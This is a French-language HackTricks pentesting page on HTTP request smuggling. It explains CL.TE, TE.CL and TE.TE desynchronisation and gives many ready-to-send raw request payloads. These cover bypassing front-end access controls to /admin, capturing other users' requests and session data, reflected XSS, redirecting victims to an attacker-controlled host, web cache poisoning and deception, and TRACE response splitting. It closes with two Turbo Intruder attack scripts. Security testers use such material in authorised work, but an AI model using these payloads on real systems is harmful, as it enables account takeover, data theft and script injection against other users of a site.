hacktricks/pentesting-web/http-request-smuggling/README.md

39 KiB

Attaque de Demande HTTP Smuggling / Désynchronisation HTTP

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Qu'est-ce que c'est

Cette vulnérabilité se produit lorsqu'une désynchronisation entre les proxys frontaux et le serveur back-end permet à un attaquant d'envoyer une demande HTTP qui sera interprétée comme une seule demande par les proxys frontaux (équilibrage de charge/proxy inverse) et comme 2 demandes par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine demande qui arrive au serveur back-end après la sienne.

Théorie

Spécification RFC (2161)

Si un message est reçu à la fois avec un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyé au destinataire.

Transfer-Encoding: chunked

L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.
Chunked signifie que des données volumineuses sont envoyées sous forme de séries de morceaux.

Réalité

Le Front-End (un équilibreur de charge / Proxy Inverse) traite l'en-tête content-length ou l'en-tête transfer-encoding et le serveur Back-end traite l'autre provoquant une désynchronisation entre les 2 systèmes.
Cela pourrait être très critique car un attaquant pourra envoyer une demande au proxy inverse qui sera interprétée par le serveur back-end comme 2 demandes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème demande injectée comme si elle venait du prochain client et la vraie demande de ce client fera partie de la demande injectée.

Particularités

Rappelez-vous qu'en HTTP un caractère de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la demande. Le corps est censé se terminer par le dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la demande.
  • Transfer-Encoding : Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du prochain morceau. Le morceau doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un morceau de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection : D'après mon expérience, il est recommandé d'utiliser Connection: keep-alive sur la première demande de la demande de Smuggling.

Exemples de Base

{% hint style="success" %} Lorsque vous essayez d'exploiter cela avec Burp Suite, désactivez Mettre à jour la longueur du contenu et Normaliser les fins de ligne HTTP/1 dans le répéteur car certains gadgets abusent des sauts de ligne, des retours chariot et des longueurs de contenu mal formées. {% endhint %}

Les attaques de demande de Smuggling HTTP sont élaborées en envoyant des demandes ambiguës qui exploitent les divergences dans la façon dont les serveurs frontaux et back-end interprètent les en-têtes Content-Length (CL) et Transfer-Encoding (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en tant que CL.TE, TE.CL et TE.TE. Chaque type représente une combinaison unique de la priorisation de ces en-têtes par les serveurs frontaux et back-end. Les vulnérabilités découlent du traitement de la même demande par les serveurs de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.

Exemples de Types de Vulnérabilités de Base

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)

  • Front-End (CL) : Traite la demande en fonction de l'en-tête Content-Length.
  • Back-End (TE) : Traite la demande en fonction de l'en-tête Transfer-Encoding.
  • Scénario d'attaque :
  • L'attaquant envoie une demande où la valeur de l'en-tête Content-Length ne correspond pas à la longueur réelle du contenu.
  • Le serveur front-end transmet la demande entière au serveur back-end, en fonction de la valeur de Content-Length.
  • Le serveur back-end traite la demande en morceaux en raison de l'en-tête Transfer-Encoding: chunked, interprétant les données restantes comme une demande séparée et ultérieure.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)

  • Front-End (TE) : Traite la demande en fonction de l'en-tête Transfer-Encoding.
  • Back-End (CL) : Traite la demande en fonction de l'en-tête Content-Length.
  • Scénario d'attaque :
  • L'attaquant envoie une demande fragmentée où la taille du fragment (7b) et la longueur réelle du contenu (Content-Length: 4) ne correspondent pas.
  • Le serveur front-end, respectant Transfer-Encoding, transmet la demande entière au serveur back-end.
  • Le serveur back-end, respectant Content-Length, traite uniquement la partie initiale de la demande (7b octets), laissant le reste comme faisant partie d'une demande ultérieure non intentionnelle.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)

  • Serveurs : Les deux prennent en charge Transfer-Encoding, mais l'un peut être trompé pour l'ignorer via l'obfuscation.
  • Scénario d'attaque :
  • L'attaquant envoie une requête avec des en-têtes Transfer-Encoding obfusqués.
  • Selon le serveur (frontal ou arrière) qui ne parvient pas à reconnaître l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
  • La partie non traitée de la requête, telle que vue par l'un des serveurs, devient une partie d'une requête ultérieure, conduisant à un trafic illicite.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scénario CL.CL (Content-Length utilisé par à la fois le Front-End et le Back-End) :

  • Les deux serveurs traitent la requête uniquement en fonction de l'en-tête Content-Length.
  • Ce scénario ne conduit généralement pas au trafic illicite, car il y a une concordance dans la façon dont les deux serveurs interprètent la longueur de la requête.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Requête normale

Scénario CL != 0 :

  • Fait référence aux scénarios où l'en-tête Content-Length est présent et a une valeur autre que zéro, indiquant que le corps de la requête contient du contenu.
  • Il est crucial de comprendre et de concevoir des attaques de trafic illicite, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corps non vide

Casser le serveur web

Cette technique est également utile dans les scénarios où il est possible de casser un serveur web tout en lisant les données HTTP initiales mais sans fermer la connexion. De cette manière, le corps de la requête HTTP sera considéré comme la prochaine requête HTTP.

Par exemple, comme expliqué dans ce compte-rendu, avec Werkzeug, il était possible d'envoyer certains caractères Unicode et cela faisait planter le serveur. Cependant, si la connexion HTTP était créée avec l'en-tête Connection: keep-alive, le corps de la requête ne serait pas lu et la connexion resterait ouverte, donc le corps de la requête serait traité comme la prochaine requête HTTP.

Forcer via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding pour qu'une attaque de trafic illicite HTTP soit possible à exploiter.

Connection: Content-Length

Pour plus d'informations sur les en-têtes hop-by-hop, visitez :

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Identification de la faille de requête HTTP Smuggling

L'identification des vulnérabilités de requête HTTP smuggling peut souvent être réalisée en utilisant des techniques de synchronisation, qui reposent sur l'observation du temps nécessaire au serveur pour répondre aux requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. Outre ces méthodes, il existe d'autres stratégies et outils qui peuvent être utilisés pour trouver de telles vulnérabilités :

Recherche de vulnérabilités CL.TE en utilisant des techniques de synchronisation

  • Méthode :
  • Envoyer une requête qui, si l'application est vulnérable, amènera le serveur back-end à attendre des données supplémentaires.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation :
  • Le serveur front-end traite la requête en fonction de Content-Length et coupe le message prématurément.
  • Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un retard.
  • Indicateurs :
  • Délais d'attente ou longs retards dans la réponse.
  • Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.

Recherche de vulnérabilités TE.CL en utilisant des techniques de synchronisation

  • Méthode :
  • Envoyer une requête qui, si l'application est vulnérable, amènera le serveur back-end à attendre des données supplémentaires.
  • Exemple :
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation :
  • Le serveur front-end traite la requête en fonction de Transfer-Encoding et transmet l'intégralité du message.
  • Le serveur back-end, s'attendant à un message basé sur Content-Length, attend des données supplémentaires qui n'arrivent jamais, provoquant un retard.

Autres méthodes pour trouver des vulnérabilités

  • Analyse de réponse différentielle :
  • Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une divergence d'analyse.
  • Utilisation d'outils automatisés :
  • Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambiguës et en analysant les réponses.
  • Tests de variance de Content-Length :
  • Envoyer des requêtes avec des valeurs de Content-Length variables qui ne correspondent pas à la longueur de contenu réelle et observer comment le serveur gère de telles incohérences.
  • Tests de variance de Transfer-Encoding :
  • Envoyer des requêtes avec des en-têtes Transfer-Encoding obfusqués ou malformés et surveiller comment les serveurs front-end et back-end répondent différemment à de telles manipulations.

Test de vulnérabilité de la requête HTTP Smuggling

Après avoir confirmé l'efficacité des techniques de synchronisation, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de falsifier vos requêtes, par exemple, en faisant en sorte qu'une requête vers / renvoie une réponse 404. Les exemples CL.TE et TE.CL discutés précédemment dans Exemples de base montrent comment falsifier une requête du client pour obtenir une réponse 404, malgré le fait que le client cherche à accéder à une ressource différente.

Considérations clés

Lors du test des vulnérabilités de la requête smuggling en interférant avec d'autres requêtes, gardez à l'esprit :

  • Connexions réseau distinctes : Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau distinctes. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
  • URL et paramètres cohérents : Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. En les faisant correspondre, vous augmentez la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
  • Synchronisation et conditions de course : La requête "normale", destinée à détecter les interférences de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour confirmer de manière concluante la vulnérabilité.
  • Défis de l'équilibrage de charge : Les serveurs frontaux agissant comme équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque échouera. Cet aspect de l'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
  • Impact utilisateur non intentionnel : Si votre attaque affecte involontairement une autre requête utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, exigeant une approche prudente.

Abus de la requête HTTP Smuggling

Contournement de la sécurité frontale via la requête HTTP Smuggling

Parfois, les proxies frontaux appliquent des mesures de sécurité, scrutant les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant la requête HTTP Smuggling, permettant un accès non autorisé aux points de terminaison restreints. Par exemple, l'accès à /admin peut être interdit de l'extérieur, le proxy frontal bloquant activement de telles tentatives. Néanmoins, ce proxy peut négliger d'inspecter les requêtes intégrées dans une requête HTTP smugglée, laissant une faille pour contourner ces restrictions.

Considérez les exemples suivants illustrant comment la requête HTTP Smuggling peut être utilisée pour contourner les contrôles de sécurité frontaux, ciblant spécifiquement le chemin /admin qui est généralement protégé par le proxy frontal :

Exemple CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Dans l'attaque CL.TE, l'en-tête Content-Length est exploité pour la requête initiale, tandis que la requête intégrée ultérieure utilise l'en-tête Transfer-Encoding: chunked. Le proxy frontal traite la requête POST initiale mais ne parvient pas à inspecter la requête GET /admin intégrée, permettant un accès non autorisé au chemin /admin.

Exemple TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Révéler la réécriture de la requête frontale

Les applications utilisent souvent un serveur frontal pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique implique l'ajout d'en-têtes, tels que X-Forwarded-For: <IP du client>, pour transmettre l'IP du client au back-end. Comprendre ces modifications peut être crucial, car cela pourrait révéler des moyens de contourner les protections ou de découvrir des informations ou des points d'accès dissimulés.

Pour enquêter sur la manière dont un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, créez une requête en utilisant ce paramètre en dernier, similaire à ce qui suit:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Dans cette structure, les composants de la requête suivante sont ajoutés après search=, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante.

Il est important d'aligner l'en-tête Content-Length de la requête imbriquée avec la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement, car une valeur trop basse tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.

Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par search=\r\n0. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche.

Cette méthode sert principalement à comprendre les modifications de la requête effectuées par le proxy frontal, réalisant essentiellement une enquête auto-dirigée.

Capture des requêtes d'autres utilisateurs

Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli :

En ajoutant la requête suivante en tant que valeur d'un paramètre, vous pouvez enregistrer la requête du client suivant :

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Dans ce scénario, le paramètre de commentaire est destiné à stocker le contenu dans la section commentaire d'un article sur une page publiquement accessible. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.

Cependant, cette technique présente des limitations. En général, elle ne capture que les données jusqu'au délimiteur de paramètre utilisé dans la requête trafiquée. Pour les soumissions de formulaires encodées en URL, ce délimiteur est le caractère &. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier &, qui peut même faire partie de la chaîne de requête.

De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans de tels cas, la requête devrait se terminer par search=\r\n0. Peu importe les caractères de saut de ligne, les valeurs seront ajoutées au paramètre de recherche.

Utilisation du trafic de requêtes HTTP pour exploiter les XSS réfléchis

Le trafic de requêtes HTTP peut être utilisé pour exploiter les pages web vulnérables aux XSS réfléchis, offrant des avantages significatifs :

  • L'interaction avec les utilisateurs cibles n'est pas nécessaire.
  • Permet l'exploitation de XSS dans des parties de la requête normalement inaccessibles, comme les en-têtes de requête HTTP.

Dans les scénarios où un site web est susceptible aux XSS réfléchis via l'en-tête User-Agent, la charge utile suivante démontre comment exploiter cette vulnérabilité :

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ce payload est structuré pour exploiter la vulnérabilité en :

  1. Initiating une requête POST, apparemment typique, avec un en-tête Transfer-Encoding: chunked pour indiquer le début du smuggling.
  2. Enchaînant avec un 0, marquant la fin du corps du message chunked.
  3. Ensuite, une requête GET smugglée est introduite, où l'en-tête User-Agent est injecté avec un script, <script>alert(1)</script>, déclenchant le XSS lorsque le serveur traite cette requête ultérieure.

En manipulant l'en-tête User-Agent via le smuggling, le payload contourne les contraintes normales de la requête, exploitant ainsi la vulnérabilité XSS réfléchie d'une manière non standard mais efficace.

HTTP/0.9

{% hint style="danger" %} Dans le cas où le contenu de l'utilisateur est reflété dans une réponse avec un Content-type tel que text/plain, empêchant l'exécution du XSS. Si le serveur prend en charge HTTP/0.9, il pourrait être possible de contourner cela ! {% endhint %}

La version HTTP/0.9 était antérieure à la 1.0 et utilise uniquement les verbes GET et ne répond pas avec des en-têtes, seulement le corps.

Dans ce compte rendu, cela a été abusé avec un smuggling de requête et un point d'extrémité vulnérable qui répondra avec l'entrée de l'utilisateur pour smuggler une requête avec HTTP/0.9. Le paramètre qui sera reflété dans la réponse contenait une fausse réponse HTTP/1.1 (avec des en-têtes et un corps) donc la réponse contiendra un code JS exécutable valide avec un Content-Type de text/html.

Exploiter les redirections sur site avec le Smuggling de Requête HTTP

Les applications redirigent souvent d'une URL à une autre en utilisant le nom d'hôte de l'en-tête Host dans l'URL de redirection. C'est courant avec des serveurs web comme Apache et IIS. Par exemple, demander un dossier sans barre oblique finale entraîne une redirection pour inclure la barre oblique :

GET /home HTTP/1.1
Host: normal-website.com

Résultats :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bien que semblant inoffensif, ce comportement peut être manipulé en utilisant le trafic d'HTTP pour rediriger les utilisateurs vers un site externe. Par exemple:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Cette requête dissimulée pourrait entraîner la redirection de la prochaine requête utilisateur traitée vers un site web contrôlé par un attaquant :

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Résultats :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scénario, la demande d'un utilisateur pour un fichier JavaScript est détournée. L'attaquant peut potentiellement compromettre l'utilisateur en fournissant du JavaScript malveillant en réponse.

Exploitation de l'empoisonnement du cache Web via le détournement de requête HTTP

L'empoisonnement du cache Web peut être exécuté si une composante de l'infrastructure frontale met en cache le contenu, généralement pour améliorer les performances. En manipulant la réponse du serveur, il est possible de contaminer le cache.

Précédemment, nous avons observé comment les réponses du serveur pouvaient être modifiées pour renvoyer une erreur 404 (voir Exemples de base). De manière similaire, il est possible de tromper le serveur pour qu'il renvoie le contenu /index.html en réponse à une demande pour /static/include.js. Par conséquent, le contenu /static/include.js est remplacé dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, potentiellement entraînant un déni de service (DoS).

Cette technique devient particulièrement puissante si une vulnérabilité de redirection ouverte est découverte ou s'il y a une redirection sur site vers une redirection ouverte. De telles vulnérabilités peuvent être exploitées pour remplacer le contenu mis en cache de /static/include.js par un script sous le contrôle de l'attaquant, permettant essentiellement une attaque généralisée de Cross-Site Scripting (XSS) contre tous les clients demandant le /static/include.js mis à jour.

Voici une illustration de l'exploitation de l'empoisonnement du cache combiné à une redirection sur site vers une redirection ouverte. L'objectif est de modifier le contenu mis en cache de /static/include.js pour servir du code JavaScript contrôlé par l'attaquant:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Notez la requête intégrée ciblant /post/next?postId=3. Cette requête sera redirigée vers /post?postId=4, en utilisant la valeur de l'en-tête Host pour déterminer le domaine. En modifiant l'en-tête Host, l'attaquant peut rediriger la requête vers son domaine (redirection sur site vers une redirection ouverte).

Après un empoisonnement de socket réussi, une requête GET pour /static/include.js doit être initiée. Cette requête sera contaminée par la précédente requête de redirection sur site vers une redirection ouverte et récupérera le contenu du script contrôlé par l'attaquant.

Par la suite, toute requête pour /static/include.js servira le contenu mis en cache du script de l'attaquant, lançant ainsi efficacement une large attaque XSS.

Utilisation du détournement de requête HTTP pour effectuer une tromperie de cache web

Quelle est la différence entre l'empoisonnement de cache web et la tromperie de cache web ?

  • Dans l'empoisonnement de cache web, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à partir du cache aux autres utilisateurs de l'application.
  • Dans la tromperie de cache web, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu à partir du cache.

L'attaquant crée une requête dissimulée qui récupère un contenu sensible spécifique à l'utilisateur. Considérez l'exemple suivant:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requête de contrebande empoisonne une entrée de cache destinée à un contenu statique (par exemple, /someimage.png), les données sensibles de la victime provenant de /private/messages pourraient être mises en cache sous l'entrée de cache du contenu statique. Par conséquent, l'attaquant pourrait potentiellement récupérer ces données sensibles mises en cache.

Abus de TRACE via la contrebande de requêtes HTTP

Dans cet article, il est suggéré que si le serveur a la méthode TRACE activée, il pourrait être possible de l'exploiter avec une contrebande de requêtes HTTP. Cela est dû au fait que cette méthode reflétera tout en-tête envoyé au serveur en tant que partie du corps de la réponse. Par exemple:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Va envoyer une réponse comme suit :

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un exemple de l'abus de ce comportement serait de faire passer d'abord une requête HEAD. Cette requête recevra uniquement les en-têtes d'une requête GET (Content-Type parmi eux). Et faire passer immédiatement après le HEAD une requête TRACE, qui va refléter les données envoyées.
Comme la réponse HEAD contiendra un en-tête Content-Length, la réponse de la requête TRACE sera traitée comme le corps de la réponse HEAD, reflétant ainsi des données arbitraires dans la réponse.
Cette réponse sera envoyée à la prochaine requête sur la connexion, ce qui pourrait être utilisé dans un fichier JS mis en cache par exemple pour injecter du code JS arbitraire.

Abus de TRACE via le fractionnement de la réponse HTTP

Continuer à suivre cet article suggère une autre façon d'abuser de la méthode TRACE. Comme commenté, en faisant passer une requête HEAD et une requête TRACE, il est possible de contrôler certaines données réfléchies dans la réponse à la requête HEAD. La longueur du corps de la requête HEAD est essentiellement indiquée dans l'en-tête Content-Length et est formée par la réponse à la requête TRACE.

Par conséquent, la nouvelle idée serait que, en connaissant ce Content-Length et les données données dans la réponse TRACE, il est possible de faire en sorte que la réponse TRACE contienne une réponse HTTP valide après le dernier octet du Content-Length, permettant à un attaquant de contrôler complètement la requête vers la prochaine réponse (qui pourrait être utilisée pour effectuer un empoisonnement de cache).

Exemple:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Les réponses suivantes seront générées (notez comment la réponse HEAD a une Content-Length rendant la réponse TRACE partie du corps HEAD et une fois que la Content-Length de HEAD se termine, une réponse HTTP valide est contrebandée) :

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Armes HTTP Request Smuggling avec Désynchronisation des Réponses HTTP

Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Autres Techniques de HTTP Request Smuggling

  • HTTP Request Smuggling du Navigateur (Côté Client)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Smuggling de Requêtes dans les Déclassements HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Scripts Turbo Intruder

CL.TE

Depuis https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De : https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: